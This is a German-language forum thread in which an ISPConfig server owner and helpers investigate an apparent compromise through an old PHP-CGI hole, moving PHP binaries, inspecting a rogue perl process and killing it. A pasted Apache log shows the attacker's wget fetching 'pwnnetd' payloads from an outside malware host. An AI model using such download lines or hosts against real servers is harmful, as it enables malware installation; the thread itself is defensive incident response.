ispconfig-server gehackt?

S

Sigix

Member
Zitat von F4RR3LL:
Laut Debian -- Ergebnisse der Debian-Paketsuche -- squeeze sind deine beiden eingesetzten Versionen aktuell. Hm, schwierig. Es muss auf jeden fall etwas sein das unter modphp läuft/lief und dort war/ist die Lücke.
Zumindest bist du nun mit dem auf diese Art eingebundenen tmp Verzeichnis davor geschützt, dass aus tmp heraus etwas "unkoscheres" von dort gestartet wird. Die laufenden Prozesse hast Du hoffe ich gekickt. Und nicht vergessen das ganze rebootfest zu machen mit einem Eintrag in der /etc/fstab.

Gruß Sven
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

ja danke..... die besagten Dienste sind derweil nicht zurück gekommen, lediglich der Dienst perl läuft noch,... mit 1,7% CPU Auslastung!

9569 www-data 15 0 29256 4036 1340 S 1.7 0.4 0:51.69 perl
--> ist dieser Dienst normal oder sollte der nicht ständig um die 1 -1,7 % cpu brauchen??

ja fstab hab ich schon eingetragen!

danke!

ich habe jetzt mal zur Sicherheit noch die shorewall installiert !!!
 
T

Till

Administrator
Hmm, zu dotdeb kenne ich die verwundbaren versionen leider nicht, aber soweit ich weiß wurde die php cgi Lücke erst im August gefixt, Dein Build ist aber jan 2012. Daher kann es guts ein dass die über die php cgi Lücke rein kommen.

Mach mal bitte folgendes:

mkdir /home/backup
mv /usr/lib/cgi-bin/php* /home/backup/

denn ich glaube das php cgi dort wird nicht für die Webseiten benötigt. Wenn dann Deine Webseiten noch gehen, dann lass es erstmal so. Du musst dann auch nicht ispconfig updaten da es wahrscheinlich ist dass es an der alten php cgi Version liegt.

Für Deine Webseiten würde ich generell dazu raten php-fcgi + suexec statt suphp zu nehmen. Ist schneller und auch nicht anfällig für die php cgi Lücke.
 
S

Sigix

Member
Zitat von Till:
Du solltest auch überlegen mal ISPConfig zu aktualisieren. Mir ist zwar keine Sicherheitslücke in ISPConfig bekannt die dafür verantwortlich sein könnte, aber es ist nie gut alte Versionen einzusetzen, außer Du hast einen Bestimmten Grund wie z.B. größere eigene Codeanpassungen, dass du nicht updaten kannst. Und in den aktuellen ISPConfig Versionen läuft das ispconfig interface auch per fcgi php unter dem user ispconfig und nicht mehr mit mod_php, so dass wir dann einen weiteren Dienst der unter www-data läuft ausschließen können.
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

Größere Code-Anpassungen hätte ich nicht!
Gibt es für so ein Update ein HowTo??
 
F

F4RR3LL

Active Member
Ich würde persönlich, jaja steinigt mich... , aber dennoch... ich würd tmp cleanen und rebooten... dann kann nix mehr von /tmp starten.

Wenn noch weitere unpassende www-data prozesse Starten, geht die Suche weiter, nicht das die Kiste stärker als angenommen kompromittiert ist.

Bei deinen Angaben interessiert mich derzeit am meisten das Einfallstor.

Gruß Sven
 
T

Till

Administrator
Zitat von Sigix:
Größere Code-Anpassungen hätte ich nicht!
Gibt es für so ein Update ein HowTo??
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

Steht immer in den release notes. Du musst normalerweise nur:

ispconfig_update.sh

ausführen. ABER da Du das so lange nicht gemacht hast, sind da unter Umständen zu viele Versionen überspringen. Lade also lieber die ISPConfig 3.0.4.6 von sourceforge runter, entpacke sie und rufe

php update.php

im Install Verzeichnis auf. danach kannst Du normal mit ispconfig_update.sh von 3.0.4.6 auf 3.0.5.3 aktualisieren.

Versuch aber bitte erst mal das mit dem php verschieben und lass das update. Nicht dass wir noch mehr Baustellen aufmachen.
 
S

Sigix

Member
Zitat von Till:
Hmm, zu dotdeb kenne ich die verwundbaren versionen leider nicht, aber soweit ich weiß wurde die php cgi Lücke erst im August gefixt, Dein Build ist aber jan 2012. Daher kann es guts ein dass die über die php cgi Lücke rein kommen.

Mach mal bitte folgendes:

mkdir /home/backup
mv /usr/lib/cgi-bin/php* /home/backup/

denn ich glaube das php cgi dort wird nicht für die Webseiten benötigt. Wenn dann Deine Webseiten noch gehen, dann lass es erstmal so. Du musst dann auch nicht ispconfig updaten da es wahrscheinlich ist dass es an der alten php cgi Version liegt.

Für Deine Webseiten würde ich generell dazu raten php-fcgi + suexec statt suphp zu nehmen. Ist schneller und auch nicht anfällig für die php cgi Lücke.
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

danke habe ich durchgeführt, derweil schaut es gut aus....... Seiten sind soweit alle noch da.....


ich versuch das mal umzusetzen auf ein paar nicht so wichtigen Seiten !
 
S

Sigix

Member
Zitat von Till:
Steht immer in den release notes. Du musst normalerweise nur:

ispconfig_update.sh

ausführen. ABER da Du das so lange nicht gemacht hast, sind da unter Umständen zu viele Versionen überspringen. Lade also lieber die ISPConfig 3.0.4.6 von sourceforge runter, entpacke sie und rufe

php update.php

im Install Verzeichnis auf. danach kannst Du normal mit ispconfig_update.sh von 3.0.4.6 auf 3.0.5.3 aktualisieren.

Versuch aber bitte erst mal das mit dem php verschieben und lass das update. Nicht dass wir noch mehr Baustellen aufmachen.
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.
okay danke!
 
S

Sigix

Member
Zitat von Till:
Was sagt lsof zu der PID 9569 des perl Prozesses, was hat der so geöffnet.
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

Hier der lsof vom 9569

root@mail2:/tmp# lsof -p 9569
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
perl 9569 www-data cwd DIR 0,43 475136 214040585 /tmp
perl 9569 www-data rtd DIR 0,43 4096 213992283 /
perl 9569 www-data txt REG 0,43 7360 213991580 /usr/bin/perl
perl 9569 www-data mem REG 0,43 128744 214041320 /lib/ld-2.11.3.so
perl 9569 www-data mem REG 0,43 1495784 214036835 /usr/lib/libperl.so.5.10.1
perl 9569 www-data mem REG 0,43 14696 214041622 /lib/libdl-2.11.3.so
perl 9569 www-data mem REG 0,43 530736 214041631 /lib/libm-2.11.3.so
perl 9569 www-data mem REG 0,43 131258 214041317 /lib/libpthread-2.11.3.so
perl 9569 www-data mem REG 0,43 1437064 214041464 /lib/libc-2.11.3.so
perl 9569 www-data mem REG 0,43 35104 214041574 /lib/libcrypt-2.11.3.so
perl 9569 www-data mem REG 0,43 19920 214036796 /usr/lib/perl/5.10.1/auto/IO/IO.so
perl 9569 www-data mem REG 0,43 25976 214036798 /usr/lib/perl/5.10.1/auto/Socket/Socket.so
perl 9569 www-data mem REG 0,43 51728 214041275 /lib/libnss_files-2.11.3.so
perl 9569 www-data mem REG 0,43 22928 214041602 /lib/libnss_dns-2.11.3.so
perl 9569 www-data mem REG 0,43 80712 214041277 /lib/libresolv-2.11.3.so
perl 9569 www-data 0r FIFO 0,6 0t0 1704248100 pipe
perl 9569 www-data 1w FIFO 0,6 0t0 1704248112 pipe
perl 9569 www-data 2w FIFO 0,6 0t0 1704248102 pipe
perl 9569 www-data 3r REG 0,43 8385936 214024391 /home/backup/php5
perl 9569 www-data 4u IPv4 1710011081 0t0 TCP mail2.example.com:36323->35-37.hukot.net:domain (SYN_SENT)
perl 9569 www-data 78r FIFO 0,6 0t0 1701932630 pipe
perl 9569 www-data 79w FIFO 0,6 0t0 1701932630 pipe
perl 9569 www-data 80r FIFO 0,6 0t0 1701932631 pipe
perl 9569 www-data 81w FIFO 0,6 0t0 1701932631 pipe
root@mail2:/tmp#

Kannst du hier was herauslesen ???????
 
S

Sigix

Member
Zitat von Till:
Ja, es ist das php cgi problem mit der veralteten PHP Version. Durch das Verschieben nach /home(backup während der prozess noch lief haben wir den sozusagen mit "umgebogen" und daher verweist er jetzt auf /home/backup.

Kill den prozess mal mit:

kill -9 9569
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

okay habe ich gemacht,....

hier meine komplette Prozessliste:

PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
17425 postfix 15 0 106m 5908 4432 S 0.3 0.6 0:00.20 smtpd
1 root 15 0 8364 816 688 S 0.0 0.1 0:02.64 init
1636 bind 20 0 120m 10m 2328 S 0.0 1.1 0:00.00 named
1643 root 15 0 5988 692 548 S 0.0 0.1 0:00.31 syslogd
1654 amavis 18 0 203m 86m 3320 S 0.0 8.5 0:01.09 amavisd-new
1898 amavis 16 0 214m 97m 4752 S 0.0 9.5 0:06.70 amavisd-new
1899 amavis 15 0 213m 96m 4780 S 0.0 9.5 0:06.53 amavisd-new
1900 clamav 18 0 322m 243m 5664 S 0.0 23.8 0:06.11 clamd
1905 root 24 0 6136 484 384 S 0.0 0.0 0:00.00 courierlogger
1906 root 18 0 29756 1372 1084 S 0.0 0.1 0:00.00 authdaemond
1911 root 18 0 6136 492 384 S 0.0 0.0 0:00.00 courierlogger
1912 root 15 0 10344 728 616 S 0.0 0.1 0:00.00 couriertcpd
1913 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1914 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1915 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1916 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1917 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1918 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1919 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1920 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1921 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1922 root 15 0 31856 1424 992 S 0.0 0.1 0:00.00 authdaemond
1933 root 18 0 6136 368 276 S 0.0 0.0 0:00.00 courierlogger
1934 root 18 0 10344 720 604 S 0.0 0.1 0:00.00 couriertcpd
1939 root 18 0 6136 488 384 S 0.0 0.0 0:00.00 courierlogger
1940 root 15 0 10344 728 616 S 0.0 0.1 0:00.00 couriertcpd
1951 root 18 0 6136 484 384 S 0.0 0.0 0:00.00 courierlogger
1952 root 15 0 10344 724 616 S 0.0 0.1 0:00.00 couriertcpd
1962 root 18 0 93148 6612 2068 S 0.0 0.6 0:01.30 fail2ban-server
2002 root 25 0 9148 1396 1132 S 0.0 0.1 0:00.00 mysqld_safe
3151 mysql 15 0 198m 50m 7712 S 0.0 4.9 0:06.61 mysqld
3153 root 18 0 3860 628 532 S 0.0 0.1 0:00.00 logger
3221 root 15 0 32028 2072 1532 S 0.0 0.2 0:00.13 ntpd
3228 root 18 0 49184 1140 588 S 0.0 0.1 0:00.00 sshd
3324 clamav 20 0 42740 2112 1224 S 0.0 0.2 0:04.43 freshclam
3344 root 18 0 20916 984 748 S 0.0 0.1 0:00.09 cron
3422 root 15 0 37180 2412 1896 S 0.0 0.2 0:00.10 master
3423 postfix 15 0 53360 3064 2348 S 0.0 0.3 0:00.02 qmgr
3432 root 16 0 37884 1848 1248 S 0.0 0.2 0:00.01 pure-ftpd-mysql
3436 root 15 0 123m 51m 2960 S 0.0 5.0 0:01.31 spamd
3437 root 18 0 123m 49m 616 S 0.0 4.8 0:00.00 spamd
3438 root 18 0 123m 49m 616 S 0.0 4.8 0:00.00 spamd
7606 postfix 15 0 41756 3328 2388 S 0.0 0.3 0:00.01 tlsmgr
9781 root 15 0 78980 3584 2808 R 0.0 0.3 0:00.57 sshd
9785 root 15 0 17784 2028 1484 S 0.0 0.2 0:00.07 bash
11307 root 18 0 58612 960 464 S 0.0 0.1 0:00.00 saslauthd
11308 root 18 0 62932 1752 1028 S 0.0 0.2 0:00.00 saslauthd
13416 postfix 16 0 39244 2324 1844 S 0.0 0.2 0:00.00 pickup
15852 root 18 0 249m 17m 8608 S 0.0 1.7 0:00.08 apache2
15854 root 18 0 39628 7364 2880 S 0.0 0.7 0:00.08 vlogger
15855 www-data 15 0 143m 6728 624 S 0.0 0.6 0:00.00 apache2
15860 web15 16 0 188m 22m 8820 S 0.0 2.2 0:00.97 php-cgi
15861 www-data 16 0 250m 12m 2084 S 0.0 1.3 0:00.05 apache2
15871 web14 16 0 193m 27m 8880 S 0.0 2.7 0:01.20 php-cgi
15949 www-data 15 0 250m 12m 2140 S 0.0 1.2 0:00.04 apache2
15996 web28 16 0 184m 18m 8852 S 0.0 1.8 0:00.62 php-cgi
 
T

Till

Administrator
Das sieht ok aus, unter www-data nur apache Prozesse und die php-cgi's unter den jeweiligen web usern.
 
S

Sigix

Member
Zitat von Till:
Das sieht ok aus, unter www-data nur apache Prozesse und die php-cgi's unter den jeweiligen web usern.
Klicke in dieses Feld, um es in vollständiger Größe anzuzeigen.

okay....dann ich ja schon mal beruhigt
DANKE FÜR DEINE/EURE HILFE!!!!!


jetzt habe ich aber eine Frage zu diesen logs

[Tue Dec 03 12:11:10 2013] [error] [client 94.102.51.238] --2013-12-03 12:11:10-- (try: 4) http://hecks.ddosdev.com/pwnnetd
[Tue Dec 03 12:11:10 2013] [error] [client 94.102.51.238] Connecting to hecks.ddosdev.com|192.151.144.234|:80...
[Tue Dec 03 12:11:10 2013] [error] [client 94.102.51.238] --2013-12-03 12:11:10-- (try: 4) http://hecks.ddosdev.com/pwnnetd3
[Tue Dec 03 12:11:10 2013] [error] [client 94.102.51.238] Connecting to hecks.ddosdev.com|192.151.144.234|:80...
[Tue Dec 03 12:11:19 2013] [error] [client 94.102.51.238] connected.
[Tue Dec 03 12:11:19 2013] [error] [client 94.102.51.238] HTTP request sent, awaiting response...
[Tue Dec 03 12:11:19 2013] [error] [client 94.102.51.238] connected.
[Tue Dec 03 12:11:19 2013] [error] [client 94.102.51.238] HTTP request sent, awaiting response...
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238] 200 OK
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238] Length:
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238] 379680
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238] (371K)
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238]
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238] Saving to: `pwnnetd3.3'
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238]
[Tue Dec 03 12:11:23 2013] [error] [client 94.102.51.238] 0K

was genau wurde da wohin hochgeladen???
Ich finde so eine Datei "pwnnetd3.3" nicht....

dies log Einträge habe ich unzählige male!

????
 
T

TobiTo

New Member
das selbe Problem

Hallo ich habe die änliche Probleme

Prozesse wie perl, s, k1,k3 usw mit hoher auslastung

Ich habe jetzt aus dem Post folgendes gemacht:

Tmp noexec gemountet:
/dev/hda3 78G 13G 62G 17% /
tmpfs 1008M 0 1008M 0% /lib/init/rw
udev 10M 600K 9.5M 6% /dev
tmpfs 1008M 0 1008M 0% /dev/shm
/dev/hda2 251M 22M 217M 10% /boot
tmpfs 2.0G 0 2.0G 0% /tmp
tmpfs 2.0G 0 2.0G 0% /var/tmp

In allen Webseiten im ispconfig habe ich mal nur SuPHP aktiviert (ist das richtig ?)

Dabei meldete ISPConfig zuviele connections auf die mysql. Ich habe dann die k1 und k3 prozesse gekillt. die files lagen im tmp.

Die crontab für www-data ist leer.

Im gegen Satz zum Themen starter habe ich roundcube laufen.

ist nun alles wieder safe oder muss ich noch was machen?

Vielen Dank und Gruß

TobiTo
 
Du musst dich einloggen oder registrieren, um hier zu antworten.

Werbung

Top